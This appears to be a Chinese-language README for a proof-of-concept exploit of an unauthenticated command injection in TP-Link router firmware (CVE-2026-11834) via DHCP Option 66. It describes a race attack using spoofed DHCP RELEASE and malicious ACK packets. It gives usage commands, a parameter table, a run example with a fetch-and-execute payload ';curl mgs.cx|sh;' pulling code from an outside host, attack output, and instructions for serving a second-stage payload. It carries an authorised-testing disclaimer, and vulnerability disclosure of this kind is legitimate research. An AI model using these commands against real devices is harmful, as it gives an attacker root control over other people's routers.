TP-Link DHCP Option 66 未认证远程代码执行(CVE-2026-11834)
TP-Link 路由器固件在处理 DHCP Option 66(“TFTP 服务器名”)时存在命令注入漏洞(CWE-78),同一网段内的未认证攻击者可利用该漏洞以 root 权限执行任意命令。当设备在 WAN 接口上充当 DHCP 客户端时,租约中返回的 Option 66 值未经净化即被拼接进 libcmm.so 中的 tftp shell 命令。共有五个函数构造该命令并将其传递给 util_execSystem(),后者调用 system(),因此精心构造的 Option 66 值会被当作 shell 输入解释并以 root 权限执行。
设备会将 Option 66 值截断为 16 个字符,因此载荷采用极简的“抓取并执行”形式(;curl <domain>|sh;),通过 HTTP 拉取更大的第二阶段载荷。
攻击者无需控制 DHCP 服务器。此 PoC 会与网段内的合法服务器展开竞争:它冒充目标发送伪造的 DHCP RELEASE 以清除其绑定,等待目标重新获取租约,然后在合法服务器应答之前,使用携带载荷的恶意 OFFER/ACK 响应目标的广播。
本概念验证(PoC)已在 TP-Link Archer C20 V6(固件 0.9.1 Build 4.19,EU)上完成测试。该漏洞代码路径在多款 TP-Link 路由器中通用;内存偏移量、函数地址和行为在其他型号或固件版本上可能有所不同。
此 PoC 会投递一个在目标设备上以 root 权限执行的 Option 66 载荷。请仅对您拥有或明确获授权测试的硬件运行此程序。
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| 参数 | 描述 |
|---|---|
target_ip | 目标设备的当前 IP 地址 |
-i, --interface | 目标所在网段的网络接口 |
-s, --server-ip | 合法 DHCP 服务器 IP |
-S, --server-mac | 合法 DHCP 服务器 MAC |
-p, --payload | Option 66 值(不超过 16 个字符),例如 `;curl |
-t, --target-mac | 目标 MAC(省略时通过 ARP 自动解析) |
-a, --attacker-ip | 恶意租约中通告的 server-id(默认为接口 IP) |
运行示例:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
载荷主机托管设备抓取并运行的第二阶段载荷。例如:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80